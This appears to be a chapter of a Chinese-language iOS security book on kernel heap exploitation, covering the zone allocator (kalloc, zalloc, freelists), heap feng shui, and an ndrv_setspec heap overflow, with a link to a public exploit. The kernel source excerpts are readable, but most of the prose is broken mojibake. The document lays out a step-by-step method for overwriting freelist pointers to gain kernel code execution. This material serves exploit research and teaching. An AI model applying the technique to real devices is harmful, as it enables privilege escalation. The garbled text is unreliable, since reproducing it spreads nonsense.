ឞѥஜణథ਒ধᄉڠழᖅ᣾̅ѫᦠ˖ԺᑞڙߚᄉஞஜຼѢὋԵ᜵ѫᦠ0xFFFFFFFC੊ఝܲߙ

ᓫ͗ࡂᝎԦຼѢǌ᣾ԜᤇሗຼѢԺ̾ܲڙ˓ʿՎᄉڠழᝎԦὋʿ ᣾ᔰ౦МՂࣂፂڙiOS 5.0˖ৗ௃

ٿᄉ_MALLOC()͗೜฽ԺᑞᄉஞஜຼѢὋࣲ಩૵M_NOWAITಕংᤄڙឞ໣วǌဗ˿ܬνڠোܥ

NULL੊ː᧗ᩱឧǌ 
ʿ᣾Ὃ_MALLOC()Ե௦kalloc()ܰᄉʶࡎӉᜈᏪࣂὋᏪkalloc()᜵ሮॱܬఽʶ̎Ὃځ

˝߱Ӊᜈᅋˏ˓ʿՎᄉЮನ۶ѫᦠርࣿǌkalloc()௦ڙ/osfmk/kern/kern_alloc.c஠͇˖߿˦

ᄉǌᤇ᧖Եࡘᇧ˿๗ԢЮ۪ߚѫᦠርࣿᄉᄰСᦉѫὋځ˝ᤆ෤థࠪkmem_alloc()ѫᦠርࣿᤈ

ᛠ᣾ѫౡǌ 

void * 

kalloc_canblock( 
      vm_size_t size, 

      boolean_t canblock) 

{ 
    register int zindex; 
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    register vm_size_t allocsize; 
    vm_map_t alloc_map = VM_MAP_NULL; 

 

    /* 
     * සٷࡕၭᇺాג٪ᇘٷڦၭǈ৽๑ᆩkmem_alloc 

     */ 

 

    if (size >= kalloc_max_prerounded) { 
       ... 

    } 

 
    /* ऺ໙࿢்ํाᄲݴದڦ੷ٷڦၭ */ 

 
    allocsize = KALLOC_MINSIZE; 

    zindex = first_k_zone; 

    while (allocsize < size) { 
        allocsize <<= 1; 

        zindex++; 

    } 
 
 /* ದݴᇘዐ٪ాڦ๢ࢇٗ */    

    assert(allocsize < kalloc_max); 

    return(zalloc_canblock(k_zone[zindex], canblock)); 
} 

ǌ̯۪ߚ16ҁ8192੝థ2ᄉ˱ழᄉʿՎЮ̯˝࠴ܷ˿iOS 4˖Ὃkalloc()ซбڙ iOS 5.0धݼὋ

ឞѥஜᬓᤇܷ̎࠴ᄉЮ۪ܰߚᤆซб˿ܷ24˝࠴ǋ40ǋ48ǋ88ǋ112ǋ192ǋ384ǋ786ǋ1536ǋ

3072֖6144ᄉЮ۪ߚǌ̠͂ᝢ˝Ὃ˧੝̾ຊҪᤇ̎Ю۪ߚ௦ځ˝̼߱͂ᛪ˿ʶ̎࣡ᜁឯයᄉЮ

ǌᤇᛪᇧࠪ̅iOS 4ᏪᝒὋ˖۪ߚЮ࠴᤟Ջᄉణ࠴Фѫᦠᤈܷ࠱ௐὋੇ͂͗ߚѫᦠЮڙǌ࠴ܷ۪ߚ

ᓫᄉЮߙὋᏪࠪ̅iOS 5౎ឬ߱͗ᜁஉᤈ786۪ߚᓫᄉЮߙణՐ͗ᜁஉЙ1024ڰߚ513ᄉЮ˝࠴ܷ

�ǌ۪ߚ

ѫᦠርࣿᄉನॶᦉѫὋੇ۪ߚҁ᣹˿ЮࡂӉᜈ˧ՐὋణՐࡎࡎҙधᤇڙ ͂Ժ̾ѫౡ߱ᄉЮᦉ

˧ဗ˿ǌࠃ ੝̾᜵ઁᤇሗѫᦠርࣿԶͺЮ۪ߚѫᦠርࣿὋ௦ځ˝߱௦̾Ю۪ߚ˝ӬͮጷጺЮߚᄉǌ

ၸ౎அᬶ۪ߚᦏᄰՎǌࠪ̅ܲஜЮನࠪ៵౎ឬὋၴᒯథ˃᫂ᄉЮ࠴ܷڰߚὋ੝థᄉЮ˖۪ߚЮڙ

ХథᄰՎፆౝዜۋᄉЮڰߚǌᤇಧᄉЮ۪ߚӉહsocketǋtasksǋvnodes֖kernel_stacksǌ

Ф̴ᄉ᤯ၸЮ۪ߚὋඊݟၿkalloc()ซбᄉᥦ̎ὋѶ௦ၸkalloc.16ҁkalloc.8192ᛪᇧᄉǌ

௦۪ߚѴᛪǌЮ۪ߚХ೜ጉ߸ஞᄉЮࢹԺ̾΍ၸ/usr/bin/zprintࠑiOS֖Mac OS X˖Ὃܷڙ

ၿ߱ᄉzoneፆౝͳଠᤗᄉὙ 

struct zone { 
    int count;                                   /* ၄ሞ๑ᆩڦᇮ໎ຕ */ 

    vm_offset_t free_elements; 
    decl_lck_mtx_data(,lock)                       /* ా٪ᇘ໮ */ 

    lck_mtx_ext_t lock_ext;                       /* क़থްᆩڦ቞࿋ޙ */ 

    lck_attr_t lock_attr;                            /*ా٪ᇘ໮ຌႠ */ 

    lck_grp_t lock_grp;                              /* ా٪ᇘ໮ඖፇ */ 

    lck_grp_attr_t lock_grp_attr;                  /* ా٪ᇘ໮ඖፇຌႠ */ 

    vm_size_t cur_size;                                /* ړമాڦ٪቞ᆩ୲ */ 
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    vm_size_t max_size;                           /* ా޿٪ᇘ੗ᅜሺٷܠڟ׊ */ 

    vm_size_t elem_size;                                     /* ᇮ໎ٷڦၭ */ 

    vm_size_t alloc_size;                          /* ᄲݴದٷڦ٪ాܠ߸ڦၭ */ 

    uint64_t sum_count;                        /* ݴದऺڦຕǄా٪ᇘڦ๱ంǅ */ 

    unsigned int 
    /* boolean_t */ exhaustible :1,          /* ǄFǅ සྺࡕ੣๟ޏኻ๟࣮ݓǛ */ 

    /* boolean_t */ collectable :1,     /* ǄFǅ ๟ܔޏ੣ా٪ᄻ৊ႜઘऎ๭णǛ */ 

    /* boolean_t */ expandable :1,        /* ǄTǅ ๟ޏǄᆩၩတǅકቛా٪ᇘǛ */ 

    /* boolean_t */ allows_foreign :1,      /* ǄFǅ ๟ޏሎႹݥzalloc੣क़Ǜ */ 

    /* boolean_t */ doing_alloc :1,                 /* ๟ޏ၄ሞકቛా٪ᇘǛ */ 

    /* boolean_t */ waiting :1,                     /* ၍ײ๟ޏሞځڪકቛǛ */ 

    /* boolean_t */ async_pending :1,             /* ๟ޏਦۨ৊ႜᅴօݴದǛ */ 

    /* boolean_t */ caller_acct: 1,       /* ๟ޏॽݴದ/๥ࡃݣ঳ྺۙᆩࡧຕǛ */ 

    /* boolean_t */ doing_gc :1,                    /* ๟ޏኟሞ৊ႜઘऎ๭ण */ 

    /* boolean_t */ noencrypt :1; 
    int index;                         /* ా޿٪ᇘܔᆌڦzone_infoຕፇڦ໭ᆅ */ 

    struct zone * next_zone;                           /* ా٪ᇘ૾՗૾ڦথ */ 

    call_entry_data_t call_async_alloc;                  /* ᅴօݴದ؜ۙڦ */ 

    const char *zone_name;                                 /* ా٪ᇘڦఁ׬ */ 

}; 

੝థЮ۪ߚᦏᜁγڙߚʶ˓ӬՓᩖᛪ˖Ὃឞᩖᛪ˖ᄉЊገᦏ௦᤯᣾next_zoneૈ᧪ᤋଋҁʽ

ʶ˓ЊገᄉǌЮ۪͗ߚ᝭ेॆґࣂѫᦠЊገᄉஜ᧙̾ԢॆґࣂѫᦠЮߚᄉ᧙ὋᏪ߱ʿ͗᝭े࡚̅

ឞЮ۪ߚᄉՉЮߚᮅᄉڦڠǌᬓ൤˧ܰὋʶጆѴᄉߙൿӉդ˿Ю۪ߚᄉᦠᎵὙЊገᄉܷ࠴ǋЮߚ

۪ᄉణܷܷ࠴Ὃ̾ ԢЮ۪ߚᜈ໗ௐ᫁ܘᄉЮߚ᧙ǌឞፆౝͳ˖ᄉͮߙൿᤆᦠᎵ˿Ю۪ߚ௦ՠஂ૆

�ǌࠚ੊Ꮷ௦ՠБ̅Ҫ᫁ܘஅᬶǋ௦ՠሄၸᒬҮڥۇ

ឞፆౝͳ˖ᄉfree_elementsૈ᧪ᛪ௙ὋЮ۪ߚ˖੝థᄉᒬၿЊገᦏ௦γڙߚʶ˓ᩖᛪ˖

ᄉǌૈՓᒬၿѴᛪʽʶ˓Њገᄉᤋଋૈ᧪ߚϱڙᒬၿڰᄉधܿͮᎵǌڙѫᦠЮߚௐὋᒬၿѴᛪᄉ

ኃʶ˓Њገ͗ᜁ᧗ၸὋᏪ˄ᒬၿѴᛪᄉᛪܿ͗ᜁʽʶ˓Њገఢ̼ǌݟ౦ᒬၿѴᛪ˝ቆὋᥦ˥Юߚ

۪͗ᜁੰܷǌڙՓЮ۪ߚຊҪЮߚᮅ੊௦ѹ൒ѸतЮ۪ߚௐὋளᄉЮ͗ڰߚᜁʶ˓ଋʶ˓உЙᒬ

ၿѴᛪǌځ൤ὋᒬၿѴᛪ˖౼ЮߚᮅᄉՉЮڰߚ௦ԥՓଅѴᄉǌ 
ၸzalloc()ѫᦠЊገௐὋੇ͂௦ѽၸREMOVE_FROM_ZONE߹̯ᒬၿѴᛪ˖ԨѢЊገᄉǌڙ

ឞ߹̯͗ᒬၿЮڰߚᄉधܿឳԨૈՓᒬၿѴᛪʽʶ˓Њገᄉૈ᧪Ὃ࠱ФᎵ˝ᒬၿѴᛪᄉளᛪܿὋ

ࣲᤄٿᒬၿѴᛪ˧ґᄉᛪܿͺ˝੝ѫᦠᄉЮڰߚὙ 

#define REMOVE_FROM_ZONE(zone, ret, type) \ 

MACRO_BEGIN \ 
    (ret) = (type) (zone)->free_elements; \ 

    if ((ret) != (type) 0) { \ 

        if (check_freed_element) { \ 
            if (!is_kernel_data_addr(((vm_offset_t *)(ret))[0]) || \ 

                              ((zone)->elem_size >= (2 * sizeof(vm_offset_t)) && \ 

                ((vm_offset_t *)(ret))[((zone)->elem_size/sizeof(vm_offset_t))-1] \ 
                     != ((vm_offset_t *)(ret))[0])) \ 

                panic("a freed zone element has been modified"); \ 

            if (zfree_clear) { \ 
                unsigned int ii; \ 

                for (ii = sizeof(vm_offset_t) / sizeof(uint32_t); \ 
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                     ii < (zone)->elem_size/sizeof(uint32_t) \ 
                     - sizeof(vm_offset_t) / sizeof(uint32_t); ii++) \ 

                if (((uint32_t *)(ret))[ii] != (uint32_t)0xdeadbeef) \ 

                   panic("a freed zone element has been modifi ed"); \ 
            } \ 

        } \ 

        (zone)->count++; \ 
        (zone)->sum_count++; \ 

        (zone)->free_elements = *((vm_offset_t *)(ret)); \ 

    } \ 
MACRO_END 

ᤇ˓߹ᄉܷᦉѫڙ੯ᛠࠪᒬၿЊገ֖ᒬၿѴᛪᄉ೜ಉǌᤇ̎೜ಉ௦˝˿೜฽Юನ۶૮ڭᏪ੯

ᛠᄉὋʿ᣾߱͂௦థ్͇੯ᛠᏪ˄᳭ᝢ࿃খ௦ల༎าᄉǌ᜵༎า߱͂Ὃੇ͂ॸᮋ΍ၸྱ൳ᄉल࠭

ԟஜ-zc֖-zpल࠭iOSЮನǌ̯Mac OS X Lionణளᄉຸ̼ᆉԺᅻὋᔰ౦МՂͪ˪ڙណᰍ᳭ᝢ༎

าᤇ̎ҩᑞǌʿ᣾ဗ̮͂߱ڙཨ௦ల༎าᄉὋᤇణԺᑞ௦ځ˝বᑞᄉᎅ஋ǌ�

ϱЙቢᄉὋ੝̾iOSߚᝢৰхʽiOSЮನ˖෤థ༎า͉ʹ߶К೜ಉὋᏪ˄ᒬၿѴᛪ௦᳭˝ځ
Юನ˖ᄉ۶ຼѢ໣วஈѣˀФ̴ࣰԻʼࣱܲґԩ᣾ᄉஈѣ᭣࣡ዜͪǌ᤯᣾ຼѢࣂѫᦠЮڰߚᄉፆ

൤ఢ૰૿ૈՓᒬၿѴᛪ˖ʽʶ˓ЊገᄉځࣲڰథԺᑞ᧗зᤇ˓ᒬၿࡂὋᤇಧڰᤈЙ᥵ଋᄉᒬၿࡊ

ૈ᧪ǌॆᜁ᧗зᄉᒬၿڰᬣՐ੆˝ᒬၿѴᛪᄉᛪܿௐὋʽʶ൒ࠪzalloc()ᄉុၸ͗ࡂᤄࣲ߱ٿ

ᝧ᧗з᣾ᄉૈ᧪੆˝ᒬၿѴᛪᄉளᛪܿǌځ൤ὋᬣՐᄉʽʶ൒ѫᦠ͗ᤄٿၿஈѣᏧଡΘᄉૈ᧪ǌ

ݟ᧗зὋХͳԨф̅Юನ̼ᆉߚᄉ͉ʹͮᎵὋ੝̾ᤇԺᑞ࠭ᒰ͉਒Ю˖ߚឞૈ᧪Ժ̾ૈՓЮ˝ځ

ʹ΍ၸ੝ᤄٿᄉЮߚǌࣂڙМधᄉ᧪ࠪndrv໣วᄉஈѣርࣿ˖Ὃᤇ௦ၸ౎᧗зጆፑុၸူܪር

ࣿ207ᄉὋ̯ᏪЉ᝴͉਒Юನ̼ᆉ੯ᛠǌ 
 ∋Ḍේ亢ݙ .2
Юನ۶ᤈᛠ໣วஈѣௐణܷᄉ᫇ᮤ௦੯ᛠ໣วஈѣௐࠪڙϷၸਖ਼ቆᫍᄉ۶໣วஈѣᥦಧὋࡂ

۶ణѹ̅ܪలᅻ࿃খǌᤇॡጁዼὋځ˝ਆ੆ҩѽၸ۶ຼѢ໣วࡂ᜵ଌ҃ຼѢڰˀ᜵᧗зᄉᒬၿڰ

ᫍᄉᄰࠪͮᎵǌ˝˿ࠃဗᤇʶᄫಕὋ̠͂धԦ˿ܲᮉʿՎᄉ੾శǌ͛ፑᄉ۶ຼѢ໣วஈѣၸҁ˿

᭣࣡ᰳǌʿ᣾ᤇሗࡂᄉഏညڰߚ໗۶Ὃᤇಧʶ౎᧗зਕТᡙЮ܌ڰߚ੾శὋၸᡛܴܲᄉЮ࠰ؤ۶

ழก᭣࣡ʿԺ᭤Ὃᭉ᜵ᤈᛠஇᤈǌځ൤Ὃ̠͂᝹᝟˿ʶሗఝҪֆҁᄉ੾శὋᝧ໣วஈѣԪ३ఝҪ

Ժ᭤ǌᤇʶ੾శࡂ௦۶᮲ප὇heap feng shuiὈὋੇ͂ڙኃ7ብ˖ࣂፂᝦ᝶᣾ǌ 
ڙ௦˓ኤӬᄉܲ൥᣾ርὋ߱͗ណᅋᝧ۶ᤈЙԩஈѣᏧଌ҃ᄉ࿃খǌ᜵ࡂਆʶʽὋᤇᮉ੾శٿ

Юನ໣วஈѣ˖੯ᛠឞ᣾ርὋᯪЎ᜵థ̯ၸਖ਼ቆᫍѫᦠ֖᧕உ͉਒ܷ࠴Юڰߚᄉழयǌᤇᛪᇧܷ

ᄉѥஜǌࠪߚѫᦠ֖᧕உЮ࠴ᭉ᜵ੲଠ੝థԺᖌ३ᄉЮನҩᑞὋಉ੼Љ᝴૊ஈѣᏧଡΘᄉܷࠑ ̅

ndrv_setspec()໣ว౎ឬὋܷڙࠑՎʶ஠͇˖ࡂᑞ੼ҁ໗ᡛ᜵යᄉѥஜǌndrv_connect()

ѥஜ௦ᤋଋndrvݒଋߙௐ᜵ុၸᄉူܪርࣿǌథ˿߱Ὃ;ࡂԺ̾᤯᣾ଡΘʿՎ᫁ऎᄉݒଋߙՏ

ሥѫᦠʿՎܷ࠴ᄉЮನЮߚǌ 

static int 

ndrv_connect(struct socket *so, struct sockaddr *nam, __unused struct proc *p) 
{ 

    struct ndrv_cb *np = sotondrvcb(so); 
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    if (np == 0) 

    return EINVAL; 

 
  if (np->nd_faddr) 

      return EISCONN; 

 
 /* ኷ںײᇺئ٪ದా٪ᅜݴ */  

  MALLOC(np->nd_faddr, struct sockaddr_ndrv*, 

         nam->sa_len, M_IFADDR, M_WAITOK); 

  if (np->nd_faddr == NULL) 
      return ENOMEM; 

 

  bcopy((caddr_t) nam, (caddr_t) np->nd_faddr, nam->sa_len); 
  soisconnected(so); 

  return 0; 

} 

ᄉୱߚԺ੯ᛠ̯ၸਖ਼ቆᫍ᧕உᤇ̎Юࡂʼុၸclose()вறधᤋଋὋᤇಧߙଋݒᤋଋᄉࣂڙ

ͺǌᤇ௦ڙndrv_do_disconnect()ѥஜ˖ࠃဗᄉὙ�

static int 

ndrv_do_disconnect(struct ndrv_cb *np) 

{ 
    struct socket * so = np->nd_socket; 

#if NDRV_DEBUG 

    kprintf("NDRV disconnect: %x\n", np); 
#endif 

    if (np->nd_faddr) 

    { 
        FREE(np->nd_faddr, M_IFADDR); 

        np->nd_faddr = 0; 

    } 
    if (so->so_state & SS_NOFDREF) 

        ndrv_do_detach(np); 

    soisdisconnected(so); 
    return(0); 

} 

ဗࠑܷڙథҨก̯ၸਖ਼ቆᫍѫᦠ֖᧕உЮನЮߚ˿Ὃᤇ˶Ժ̾ၸ̅੯ᛠ۶᮲ප੾శǌᤇᮉ੾

శϛ᝹ੇ͂ᯪЎ̯̅ܪలᅻ࿃খᄉ۶धݼὋᤇᛪᇧథᔩ࣯ࣂѫᦠᄉ̾ڰԢᔩ࣯ܷ࠴ʿኍቆᅋᄉ

þگÿǌᤇ̎ࣂѫᦠڰᄉͮᎵ֖ᤇ̎þگÿᄉஜ᧙ᦏ௦లᅻᄉǌ۲̅۶᮲ප੾శᄉ໣วஈѣ͗ࡂ૊

�ʽழयᤈᛠǌݟཱ

(1) ѫᦠᡛܴܲᄉЮઁڰߚᤇ̎þگÿᦏ܌ʼǌ੝ᭉᄉᆷѬѫᦠ൒ஜ᤯࣡௦లᅻᄉǌ 
(2) ѫᦠఝܲᄉЮڰߚὋ΍ᤇ̎ЮڙڰߚЮߚ˖ᄰ̈᥵ଋǌ 
(3) ᧕உˏ˓᥵ଋᄉЮڰߚǌ᧕உᮊࣿԨф̅ᒬၿѴᛪᄉࠃဗழयǌʽʶ൒ѫᦠःឞᤄٿЮ

 ǌڰߚᄉኃʶ˓Ю˖ߚ
(4) ᝎԦథ໣วᄉЮನѥஜὋѫᦠˏ˓Юڰߚ˖ᄉኃʶ˓Ὃࣲ࠱ФຼѢҁଋᅋᄉᒬၿڰ˖ǌ  
(5) ᝎԦ౼̎ЮನҩᑞὋѫᦠࣂᜁ᧗зᄉᒬၿࣲڰᝧࣂᜁ᧗зᄉૈ᧪ૈՓᒬၿѴᛪᄉᛪܿǌ  
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(6) ᝎԦఝܲҩᑞὋѫᦠЮߚὋ̯ᏪѽၸஈѣᏧଡΘᄉૈ᧪ὋᏪʿ௦΍ၸᄽൣᄉЮڰߚǌ  
(7) ѽၸᤇʶ᧗з͉਒Юߚᄉ఺͗Ὃ᧗з౼̎ѥஜૈ᧪Ὃඊݟጆፑុၸᛪ˖౼˓ల΍ၸᄉܪ

ူርࣿǌ 
(8) ᝎԦᜁ᧗зᄉጆፑុၸὋڙЮನቆᫍ˖੯ᛠ͉਒̼ᆉǌ 
ᙉཨኃʶ൥᜵ࠪѫᦠᄉ൒ஜᤈᛠ࿮฽Ὃͭ۲̅۶᮲ප੾శᄉ໣วஈѣ᤯࣡᭣࣡ሶ߿ǌʿ᣾Ὃ

Mac OS X֖iOS˖ᄉЮನቆᫍᤆᤞʼ˿ʶ͊థү̅ᤈʶ൥ђ࠵ʿᆷ߿বᄉþᇩྫྷÿǌ 
 ⌟Ḍේ⢊ᗕⱘẔݙ .3
Mac OS X֖iOSᦏࣛథʶ˓᭣࣡థᡙ˄ࠃၸᄉmachᬝ᫷úúhost_zone_info()ǌឞழกԺ

ၸ̅ಉលˀ੝థၿЮನᄉЮ۪ߚѫᦠርࣿซбᄉЮ۪ߚథСᄉζোǌឞѥஜࣲʿࡌᬌ̅rootၸ

ਖ਼΍ၸὋᤆԺ̾᤯᣾Mac OS Xᮔᜈᄉ/usr/bin/zprintࠃၸࢹХ̯Юᦉ΍ၸǌࠪ̅ඇ˓Ю۪ߚ

౎ឬὋ߱͗̾܌Ќݝᄉzone_infoፆౝͳᄉ्यᤄٿζোὙ 

typedef struct zone_info { 
    integer_t zi_count;         /* ၄ሞ໯๑ᆩڦᇮ໎ڦຕଉ */ 

    vm_size_t zi_cur_size;      /* ړമాڦ٪቞ᆩ୲ */ 

    vm_size_t zi_max_size;      /* ా޿٪ᇘీሺٷܠڟ׊ */ 

    vm_size_t zi_elem_size;     /* ᇮ໎ٷڦၭ */ 

    vm_size_t zi_alloc_size;    /* ߸ాܠ٪໯቞਍ٷڦၭ */ 

    integer_t zi_pageable;      /* ా٪ᇘ๟ޏ੗ݴᄻǛ */ 

    integer_t zi_sleepable;     /* සྺࡕ੣ሶsleepǛ */ 

    integer_t zi_exhaustible;   /* සྺࡕ੣ሶৈৈ࣮ݓǛ */ 

    integer_t zi_collectable;   /* ๟ޏ੗ܔᇮ໎৊ႜઘऎ๭णǛ */ 

} zone_info_t; 

ᙉཨᤇ̎Ժ᤯᣾ឞmachᬝ᫷Ԩٿᄉζো෤థ෹᭚͉ʹЮᦉᄉЮನЮڦڠߚὋͭ ᝧੇ͂ᑞܴຆ

ऎว৘ЮನЮ۪ߚѫᦠርࣿᄉ࿃খǌzi_countߙൿӉդ˿౼˓Ю۪ߚ˖ॆґࣂѫᦠЮڰߚᄉஜ

᧙ǌځ˝౼̎Юನፆౝͳ௦ߚϱ͂߱ڙᒬథᄉЮ۪ߚ˖ᄉὋ੝̾ឞ᝟ஜ٧ᤆԺᑞᝧܷࠑ଍றѢФ

̴ζোὋඊݟᤁᛠ˖ᤈር੊ࣂ੩ध஠͇ᄉஜ᧙ǌ�

ࠪ̅Юನ۶ຼѢ౎ឬὋఝథ਒ধᄉ௦̯ణܷЊገஜ˖ђԜࣂѫᦠЮڰߚᄉஜ᧙ǌᤇ˓ణܷЊ

ገஜ௦ၸॆґܷ࠴zi_cur_sizeᬓ̾Ӭ˓Њገᄉܷ࠴zi_elem_size३ҁᄉǌᄰђՐ३ҁᄉஜߙ

ڙ൤Ὃځÿᄉஜ᧙ǌگʼᄉþ܌௦۶᮲ප੾శ˖ᭉ᜵ࡂ˶ᄉஜ᧙ὋڰߚᒬၿЮ˖۪ߚ௦౼˓Юࡂ

iOS֖Mac OS X˖Ὃੇ͂థԺᑞ᝟ኪѢ܌໗౼ʶЮ۪ߚ˖੝థþگÿХͳᭉ᜵ᤈᛠܲ࠵൒ѫᦠǌ 
ॆ౼˓Ю۪ߚ˖ᄉణܷЊገஜᏱࡉௐὋឞЮ͗ࡂ۪ߚ᤯᣾ຊҪܷ࠴˝zi_alloc_sizeߙᓫ

ᄉளܷੰڰǌᤇʶளѫᦠᄉЮ͗ڰߚᜁѫҞ˝ᄰ̈࿗በᄉЮڰߚὋࣲ ˄३ҁᄉඇ˓Юڰߚᦏ͗ᜁ

உЙឞЮ۪ߚᄉᒬၿѴᛪǌᤇ௦ॡ᧗᜵ᄉὋځ˝᮫߱χ˿ѫᦠᄉᮊࣿὋᏪ˄ᤆ਒։ᅋԵథՎʶ൒

ੰܷୱͺ˖ຊҪᄉЮڰߚ੥͗ڙЮ۪ߚ˖ᄰ̈᥵ଋǌ 
4. ᇍݙḌේ㓧ކऎ⑶ߎⓣ⋲ⱘᬏߏ 
ဗࣂࠑܷڙፂ˿ᝌҁЮನ۶ᎀуӜຼѢ໣วஈѣᐿՐᄉူ᝶Ὃ௦ௐϊٿҁᇧΒ໣วࣲᝌ᧕᧪

ࠪ߱ᄉ໣วஈѣ˿ǌܷࠑ᜵᝭ͰὋࠃᬄᄉ۶ᎀуӜຼѢ௦ԥុܬၸndrv_to_ifnet_demux()

ѥஜᄯҁຼѢࠃᬄᄉᎀуӜࣲ᤯᣾ᝎԦ౼˓Юᦉᩱឧ్͇ᤝѢ९ဖᏪलԦᄉὙ 
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int 
ndrv_to_ifnet_demux(struct ndrv_demux_desc* ndrv, 

                    struct ifnet_demux_desc* ifdemux) 

{ 
    bzero(ifdemux, sizeof(*ifdemux)); 

 

    if (ndrv->type < DLIL_DESC_ETYPE2) 
    { 
        /* ๑ᆩ৹“ૌ႙”ǈփኧ׼ */ 

        return ENOTSUP; 

    } 
 

    if (ndrv->length > 28) 

    { 
        return EINVAL; 

    } 

 
    ifdemux->type = ndrv->type; 

    ifdemux->data = ndrv->data.other; 

    ifdemux->datalen = ndrv->length; 
 

    return 0; 

} 

ឞѥஜଋԩ౎ᒬၸਖ਼ቆᫍᄉndrv_demux_descፆౝͳࣲ࠱Фͺ˝ԟஜ΍ၸὋཨՐ࠱Фᣀ૰

੆ࠪःЮನቆᫍᄉifnet_demux_descፆౝͳǌᤇ̎ፆౝͳᄉݟ˦߿ʽὙ�

struct ndrv_demux_desc 

{ 

    u_int16_t    type; 
    u_int16_t    length; 

    union 

    { 
        u_int16_t    ether_type; 

        u_int8_t     sap[3]; 

        u_int8_t     snap[5]; 
        u_int8_t     other[28]; 

    } data; 

}; 
struct ifnet_demux_desc { 

     u_int32_t   type; 

     void        *data; 
     u_int32_t   datalen; 

}; 

ᤇ̎ፆౝͳᄉ߿˦ᛪ௙ὋܷࠑᑞܴՓຼѢᄉᎀуӜзЙᄉЮࠓ௦ԩҁᬌ҃ᄉǌtypeߙൿ˖

ԵᑞᜈЙܷ̅DLIL_DESC_ETYPE2὇ᤇ᧖ᜁ4˝˦߿Ὀᄉ16ͮϘǌdatalenߙൿԵᑞ௦29̅࠴ᄉ

ϘὋᏪdataߙൿ௦˓ૈ᧪ὋૈՓ̯ၸਖ਼ቆᫍ҃ܬᄉፆౝͳǌᤇ௦ᄰॆԩᬌᄉὋʿ᣾ܷࠑᄉᄫಕ

௦᧗зૈՓᒬၿѴᛪʽʶ˓Њገᄉૈ᧪ǌځ൤Ὃܷ Ժ̾ઁifnet_demux_descፆౝͳ˖ᄉdataࠑ

ૈ᧪ຼѢҁᒬၿѴᛪ˖ᄉʽʶ˓ЮڰߚὋ̾ ൤ౝᤴ໣วஈѣርࣿǌᤇᛪᇧʶெᤇ˓ᒬၿڰ੆˝ᒬ

ၿѴᛪᄉᛪܿὋ̔ ʶ൒ѫᦠ͗ࡂᤄ̯ٿၸਖ਼ቆᫍ҃ܬᄉፆౝͳ˖ᄉЮڰߚǌࠑܷ˝ځଌ҃˿ᥦᦉ
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ѫЮߚᄉЮࠓὋ੝̾˶ࡂଌ҃˿ґ4˓ߙᓫᄉЮࠓὋᏪᤇ4˓ߙᓫ૵ϛ᝹௦ૈՓᒬၿѴᛪ˖ʽʶЮ

Ὃཨڦڠ˓౼ଌ҃˿ᒬၿѴᛪᄉளᛪܿǌੇ͂̽߱˝ጆፑុၸᛪ˖ᄉࡂࠑ൤Ὃܷځᄉૈ᧪ǌڰߚ

Րʽʶ൒ѫᦠ͗ࡂᤄٿጆፑុၸᛪ˖ᄉڦڠǌᝧЮನ˝ФᜈЙԩܷࠑଌ҃ᄉஜ૵Ὃᤇಧុڙၸᜁ

᧗з᣾ᄉጆፑុၸူܪርࣿՐὋࡂԺ̾੯ᛠ͉਒Юನ̼ᆉ˿ǌ�

ఽʶܬ᜵ඊ௾᤯ᄉ۶ᎀуӜຼѢఝࡂ௦ԩᬌ҃ᄉὋ੝̾ᤇሗ໣วஈѣࠓԺ̾зЙᄉЮ˝ځ

̎ǌʿ᣾Ὃࠑܷ˝ځԺ̾зЙʶ˓ૈՓԩᒬࣁଌ҃ஜ૵ᄉૈ᧪Ὃ੝̾Եᭉ᜵вҪʼʶ˓ᝧᒬࣁᑞ

ᛠ˿ǌឞ໣วஈѣርࣿᄉ߸ஞຸ̼ᆉԟࡂ൒὇Ꮺʿ௦ʶ൒ὈѫᦠՐଌ҃ᒬၿѴᛪᛪܿᄉ൥ᰠˏڙ

᜸http://github.com/stefanesser/ndrv_setspecὋФ˖Ӊդ˿ઁឞ໣วຊҪҁॆґЮನ˖̾ᤈᛠࠃᰍᄉ

Юನᛩʷǌ 

9.5� ᇣ㒧 

ఴ˹˖ᄽൣଋᝎiOSᄉЮನቆᫍǌᤇ᧖๯ᄥ˿ˀЮನ໣วஈѣርࣿڙኃʶ൒ࠑఴብ˖Ὃܷڙ

धԦథСᄉʿՎ˞ᮤὋ̯ଡԨࣲᝌࠚЮನ̃ᤈ҃஠͇धݼὋᄯҁࠃဗЮನጞᄉ͉਒̼ᆉ੯ᛠǌ 
੼ʹݟᝌ˿ঞಧࠪЮನ̃ᤈ҃஠͇˖ӉդᄉIOKitЮನ᯵ҮርࣿᤈᛠᤣՓѫౡὋ̾Ԣ˿ࠑܷ

ҁᥦ̎ःឞࠪФᤈᛠ໣วࠅಉᄉЮನ̼ᆉǌੇ͂ࡘᇧ˿ѽၸԲʶԻ᝟ኪ఺֖KDPӨᝫࠪiOSЮನ

ᤈᛠᤉርុណᄉழกὋኤӐ˿Юನ໣วஈѣርࣿᄉधԦǌ 
ੇ͂ᤆʶᡐ˿ᝌ˿᧪ࠪʿՎዜۋЮನ໣วᄉஈѣὋӉહѽၸ͉਒Юߚ᧗зǋలѹݼӐЮನԪ

᧙ǋಖᎀуӜຼѢ֖Юನቆᫍ˖ᄉ۶ᎀуӜຼѢᤈᛠᄉ໣วஈѣǌ 
ఴብణՐଉᝦ˿ЮನᄉЮ۶۪ߚѫᦠርࣿᄉࠃဗˀ᧪ࠪ߱ᄉ໣วஈѣὋࣲ Юನጞᄉڙ˿ᇧࡘ

۶ᎀуӜຼѢ໣วஈѣርࣿ˖௦ݟʹ΍ၸ۶᮲ප੾శᄉǌ 
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䍞� � ⣅ 

 
ᡔ࿜᣾ᄉiPhoneʼ߸੆ڙፂࣂὋॡԺᑞ˷ߥڠ૊ཱఴ˹˖̭ፀᄉᤇ̎ᇧΒ९ࣿຑᤈࠑ౦ܷݟ

˿Չሗࠃᰍࣲᒬᛠᤈᛠ˿ᆐቂǌᤇཁ֖ॡ̠ܲʶಧὋځ˝і˪੝థᄉiPhone߶Кᆐቂᦏ௦ڙᡔ࿜

᣾ᄉ᝹ܫʼᤈᛠᄉǌʿ᣾Ὃࠪ̅Ӊહʶ̎߶Кႌᄉ̠ܢˀiPhone߶Кᆐቂ̠տڙЮᄉܷܲஜ̠Ꮺ

ᝒὋᡔ࿜ᄉЮᦉԓူԁ௦ʿ˝Ф੝ᅻᄉǌॡ̠ܲઁᡔ࿜ॆ੆̴͂ڙ੝ᤤસᄉࢹХʼӬѣþᡔ࿜ÿ

